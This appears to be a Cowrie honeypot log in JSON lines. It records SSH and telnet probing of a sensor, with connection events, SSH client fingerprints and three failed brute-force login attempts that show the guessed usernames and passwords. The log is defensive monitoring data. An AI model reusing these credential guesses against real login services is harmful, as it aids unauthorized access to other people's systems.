{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:24:59.491560Z","src_ip":"154.198.162.75","session":"1b60c3b880cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1nt&ll1tch&","message":"login attempt [ubuntu/1nt&ll1tch&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:00.343530Z","src_ip":"154.198.162.75","session":"1b60c3b880cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:01.554302Z","src_ip":"154.198.162.75","session":"1b60c3b880cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.366958379745483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:03.866878Z","src_ip":"50.6.18.72","session":"753f2a27c90b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":32872,"dst_ip":"159.203.135.109","dst_port":23,"session":"746c80f424a3","protocol":"telnet","message":"New connection: 147.182.143.59:32872 (159.203.135.109:23) [session: 746c80f424a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:04.721968Z"}
{"eventid":"cowrie.session.closed","duration":35.0228066444397,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:05.602279Z","src_ip":"45.58.127.90","session":"e62f3a6d0b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.83387732505798,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:06.391403Z","src_ip":"45.58.127.90","session":"b170c94f0768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41924,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8cee3450201","protocol":"telnet","message":"New connection: 147.182.143.59:41924 (159.203.135.109:23) [session: f8cee3450201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:08.103210Z"}
{"eventid":"cowrie.session.closed","duration":72.01696348190308,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:08.911987Z","src_ip":"147.182.143.59","session":"22574d937430","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41122,"dst_ip":"10.17.0.5","dst_port":23,"session":"247d87593c35","protocol":"telnet","message":"New connection: 45.58.127.90:41122 (10.17.0.5:23) [session: 247d87593c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:10.230354Z"}
{"eventid":"cowrie.session.closed","duration":40.9225869178772,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:10.711781Z","src_ip":"45.58.127.90","session":"09ca821ef542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.8897123336792,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:13.852239Z","src_ip":"45.58.127.90","session":"8e259917eda5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49920,"dst_ip":"10.17.0.5","dst_port":23,"session":"975b400b3967","protocol":"telnet","message":"New connection: 45.58.127.90:49920 (10.17.0.5:23) [session: 975b400b3967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:13.903872Z"}
{"eventid":"cowrie.session.closed","duration":9.282365322113037,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:14.004197Z","src_ip":"147.182.143.59","session":"746c80f424a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.89649319648743,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:14.453359Z","src_ip":"45.58.127.90","session":"bde03ba0da01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56688,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c2f5b93f032","protocol":"telnet","message":"New connection: 50.6.18.72:56688 (159.203.135.109:23) [session: 8c2f5b93f032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:17.988967Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51962,"dst_ip":"10.17.0.5","dst_port":23,"session":"cab3602094f0","protocol":"telnet","message":"New connection: 45.58.127.90:51962 (10.17.0.5:23) [session: cab3602094f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:19.139904Z"}
{"eventid":"cowrie.session.closed","duration":13.850494146347046,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:21.953541Z","src_ip":"147.182.143.59","session":"f8cee3450201","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56694,"dst_ip":"159.203.135.109","dst_port":23,"session":"b91a7b53cf4d","protocol":"telnet","message":"New connection: 50.6.18.72:56694 (159.203.135.109:23) [session: b91a7b53cf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:23.203100Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39936,"dst_ip":"159.203.135.109","dst_port":23,"session":"bac1a469b140","protocol":"telnet","message":"New connection: 50.6.18.72:39936 (159.203.135.109:23) [session: bac1a469b140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:29.444054Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39124,"dst_ip":"159.203.135.109","dst_port":23,"session":"a473dd76164a","protocol":"telnet","message":"New connection: 147.182.143.59:39124 (159.203.135.109:23) [session: a473dd76164a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:30.961771Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":49596,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dc71b3fdce9","protocol":"telnet","message":"New connection: 40.86.220.217:49596 (10.17.0.5:23) [session: 7dc71b3fdce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:36.022522Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39128,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f0d42b8ffd5","protocol":"telnet","message":"New connection: 147.182.143.59:39128 (159.203.135.109:23) [session: 3f0d42b8ffd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:37.000575Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41162,"dst_ip":"159.203.135.109","dst_port":23,"session":"25cec1b943df","protocol":"telnet","message":"New connection: 147.182.143.59:41162 (159.203.135.109:23) [session: 25cec1b943df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:40.169418Z"}
{"eventid":"cowrie.session.closed","duration":11.513368606567383,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:42.474842Z","src_ip":"147.182.143.59","session":"a473dd76164a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75361919403076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:48.742498Z","src_ip":"50.6.18.72","session":"8c2f5b93f032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.050580978393555,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:50.280789Z","src_ip":"45.58.127.90","session":"247d87593c35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.715422868728638,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:51.884724Z","src_ip":"147.182.143.59","session":"25cec1b943df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.89497995376587,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:52.895432Z","src_ip":"147.182.143.59","session":"3f0d42b8ffd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43097162246704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:53.633936Z","src_ip":"50.6.18.72","session":"b91a7b53cf4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":37970,"dst_ip":"10.17.0.5","dst_port":22,"session":"fea627211ee8","protocol":"ssh","message":"New connection: 154.198.162.75:37970 (10.17.0.5:22) [session: fea627211ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:53.960246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:53.965378Z","src_ip":"154.198.162.75","session":"fea627211ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:54.185170Z","src_ip":"154.198.162.75","session":"fea627211ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd123!","message":"login attempt [admin/P@ssw0rd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:55.079416Z","src_ip":"154.198.162.75","session":"fea627211ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33806,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd7ff6cee85b","protocol":"telnet","message":"New connection: 45.58.127.90:33806 (10.17.0.5:23) [session: dd7ff6cee85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:55.477387Z"}
{"eventid":"cowrie.session.closed","duration":41.973819971084595,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:55.877663Z","src_ip":"45.58.127.90","session":"975b400b3967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:56.294015Z","src_ip":"154.198.162.75","session":"fea627211ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52996,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e9ec7b8498c","protocol":"telnet","message":"New connection: 147.182.143.59:52996 (159.203.135.109:23) [session: 0e9ec7b8498c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:57.554436Z"}
{"eventid":"cowrie.session.closed","duration":30.27070903778076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:25:59.714643Z","src_ip":"50.6.18.72","session":"bac1a469b140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.048147439956665,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:00.187906Z","src_ip":"45.58.127.90","session":"cab3602094f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.431824445724487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:07.454212Z","src_ip":"40.86.220.217","session":"7dc71b3fdce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39510,"dst_ip":"10.17.0.5","dst_port":23,"session":"10bdba0cf8b9","protocol":"telnet","message":"New connection: 45.58.127.90:39510 (10.17.0.5:23) [session: 10bdba0cf8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:13.365491Z"}
{"eventid":"cowrie.session.closed","duration":17.183720111846924,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:14.738051Z","src_ip":"147.182.143.59","session":"0e9ec7b8498c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57652,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a697eae07a","protocol":"telnet","message":"New connection: 45.58.127.90:57652 (10.17.0.5:23) [session: 66a697eae07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:21.642276Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57664,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f0f751b3d2","protocol":"telnet","message":"New connection: 45.58.127.90:57664 (10.17.0.5:23) [session: 62f0f751b3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:25.492765Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":50906,"dst_ip":"159.203.135.109","dst_port":23,"session":"422b59f6c3ef","protocol":"telnet","message":"New connection: 50.6.18.72:50906 (159.203.135.109:23) [session: 422b59f6c3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:29.643861Z"}
{"eventid":"cowrie.session.closed","duration":35.46965932846069,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:30.946930Z","src_ip":"45.58.127.90","session":"dd7ff6cee85b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50704,"dst_ip":"10.17.0.5","dst_port":23,"session":"487c2facaeb9","protocol":"telnet","message":"New connection: 45.58.127.90:50704 (10.17.0.5:23) [session: 487c2facaeb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:31.445555Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":39106,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1283ce6cef1","protocol":"telnet","message":"New connection: 40.86.220.217:39106 (10.17.0.5:23) [session: c1283ce6cef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:33.878165Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57212,"dst_ip":"159.203.135.109","dst_port":23,"session":"44b490f9741f","protocol":"telnet","message":"New connection: 147.182.143.59:57212 (159.203.135.109:23) [session: 44b490f9741f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:37.670982Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45148,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb2b4bfcf38","protocol":"telnet","message":"New connection: 45.58.127.90:45148 (10.17.0.5:23) [session: 8eb2b4bfcf38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:39.564960Z"}
{"eventid":"cowrie.session.closed","duration":9.658229351043701,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:47.329086Z","src_ip":"147.182.143.59","session":"44b490f9741f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35894,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc7d630fe7c3","protocol":"telnet","message":"New connection: 45.58.127.90:35894 (10.17.0.5:23) [session: dc7d630fe7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:50.538606Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":38592,"dst_ip":"10.17.0.5","dst_port":22,"session":"75a088c3cdc5","protocol":"ssh","message":"New connection: 154.198.162.75:38592 (10.17.0.5:22) [session: 75a088c3cdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:51.066732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:51.071313Z","src_ip":"154.198.162.75","session":"75a088c3cdc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39598,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b3de7ec48e4","protocol":"telnet","message":"New connection: 50.6.18.72:39598 (159.203.135.109:23) [session: 6b3de7ec48e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:51.092723Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:51.282128Z","src_ip":"154.198.162.75","session":"75a088c3cdc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57378,"dst_ip":"159.203.135.109","dst_port":23,"session":"05f577890781","protocol":"telnet","message":"New connection: 147.182.143.59:57378 (159.203.135.109:23) [session: 05f577890781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:51.988316Z"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu@2022","message":"login attempt [Ubuntu/ubuntu@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:52.154508Z","src_ip":"154.198.162.75","session":"75a088c3cdc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:53.367525Z","src_ip":"154.198.162.75","session":"75a088c3cdc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39604,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b879761ed34","protocol":"telnet","message":"New connection: 50.6.18.72:39604 (159.203.135.109:23) [session: 4b879761ed34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:54.609253Z"}
{"eventid":"cowrie.session.closed","duration":34.02035427093506,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:55.662494Z","src_ip":"45.58.127.90","session":"66a697eae07a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.434908866882324,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:55.800277Z","src_ip":"45.58.127.90","session":"10bdba0cf8b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.75292944908142,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:59.245770Z","src_ip":"45.58.127.90","session":"62f0f751b3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b48602ab254","protocol":"telnet","message":"New connection: 50.6.18.72:35660 (159.203.135.109:23) [session: 1b48602ab254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:26:59.866702Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35672,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5af07b5fe1","protocol":"telnet","message":"New connection: 50.6.18.72:35672 (159.203.135.109:23) [session: 8a5af07b5fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:00.020496Z"}
{"eventid":"cowrie.session.closed","duration":31.13080382347107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:00.774574Z","src_ip":"50.6.18.72","session":"422b59f6c3ef","protocol":"telnet"}
